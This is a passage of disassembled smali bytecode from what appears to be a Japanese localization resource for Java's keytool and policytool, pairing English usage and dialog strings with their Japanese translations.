                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "\u8b66\u544a: \u5225\u540d {0} \u306e\u516c\u958b\u9375\u304c\u5b58\u5728\u3057\u307e\u305b\u3093\u3002\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u6b63\u3057\u304f\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "\u8b66\u544a: \u30af\u30e9\u30b9\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "\u8b66\u544a: \u30b3\u30f3\u30b9\u30c8\u30e9\u30af\u30bf\u306e\u5f15\u6570\u304c\u7121\u52b9\u3067\u3059: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "\u4e0d\u6b63\u306a\u4e3b\u4f53\u306e\u30bf\u30a4\u30d7: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "\u4e0d\u6b63\u306a\u30aa\u30d7\u30b7\u30e7\u30f3: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "\u4f7f\u3044\u65b9: policytool [options]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <file>] \u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "\u65b0\u898f"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\u958b\u304f"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "\u4fdd\u5b58"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "\u5225\u540d\u4fdd\u5b58"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "\u8b66\u544a\u30ed\u30b0\u306e\u8868\u793a"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "\u7d42\u4e86"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "\u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u8ffd\u52a0"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "\u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u7de8\u96c6"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "\u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u524a\u9664"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "\u7de8\u96c6"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "\u4fdd\u6301"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "\u516c\u958b\u9375\u306e\u5225\u540d\u3092\u8ffd\u52a0"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "\u516c\u958b\u9375\u306e\u5225\u540d\u3092\u524a\u9664"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "\u30d5\u30a1\u30a4\u30eb"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "\u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "\u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u3051\u307e\u305b\u3093\u3067\u3057\u305f: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Policy Tool"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "\u30dd\u30ea\u30b7\u30fc\u69cb\u6210\u306e\u30aa\u30fc\u30d7\u30f3\u4e2d\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u8a73\u7d30\u306f\u8b66\u544a\u30ed\u30b0\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "\u30a8\u30e9\u30fc"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "\u4e86\u89e3"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "\u72b6\u614b"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "\u8b66\u544a"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "\u30a2\u30af\u30bb\u30b9\u6a29: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "\u4e3b\u4f53\u306e\u30bf\u30a4\u30d7:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "\u4e3b\u4f53\u306e\u540d\u524d:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "\u30bf\u30fc\u30b2\u30c3\u30c8\u540d: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "\u30a2\u30af\u30b7\u30e7\u30f3: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "\u65e2\u5b58\u306e\u30d5\u30a1\u30a4\u30eb {0} \u306b\u4e0a\u66f8\u304d\u3057\u307e\u3059\u304b?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "\u53d6\u6d88\u3057"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "\u4e3b\u4f53\u306e\u8ffd\u52a0"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "\u4e3b\u4f53\u306e\u7de8\u96c6"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "\u4e3b\u4f53\u306e\u524a\u9664"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "\u4e3b\u4f53:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u8ffd\u52a0"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7de8\u96c6"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u524a\u9664"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "\u5b8c\u4e86"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2 URL:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30bf\u30a4\u30d7:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u30d7\u30ed\u30d0\u30a4\u30c0:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u30d1\u30b9\u30ef\u30fc\u30c9 URL:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "\u4e3b\u4f53"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " \u4e3b\u4f53\u306e\u7de8\u96c6:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " \u4e3b\u4f53\u306e\u65b0\u898f\u8ffd\u52a0:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "\u30a2\u30af\u30bb\u30b9\u6a29"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7de8\u96c6:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " \u65b0\u898f\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u8ffd\u52a0:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "\u7f72\u540d\u8005:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u540d\u306e\u306a\u3044\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u30af\u30e9\u30b9\u3092\u4f7f\u3063\u3066\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "\u540d\u524d\u3092\u4f7f\u308f\u305a\u306b\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "\u30a2\u30af\u30bb\u30b9\u6a29\u3068\u30bf\u30fc\u30b2\u30c3\u30c8\u540d\u306f\u3001\u5024\u3092\u4fdd\u6301\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "\u3053\u306e\u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u3092\u524a\u9664\u3057\u307e\u3059\u304b?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "\u30d5\u30a1\u30a4\u30eb\u3092\u4e0a\u66f8\u304d\u3057\u307e\u3059\u3002"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "\u30dd\u30ea\u30b7\u30fc\u306e {0} \u3078\u306e\u66f8\u304d\u8fbc\u307f\u306b\u6210\u529f\u3057\u307e\u3057\u305f\u3002"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\u5909\u66f4\u3092\u4fdd\u5b58\u3057\u307e\u3059\u304b?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "\u306f\u3044"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "\u3044\u3044\u3048"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
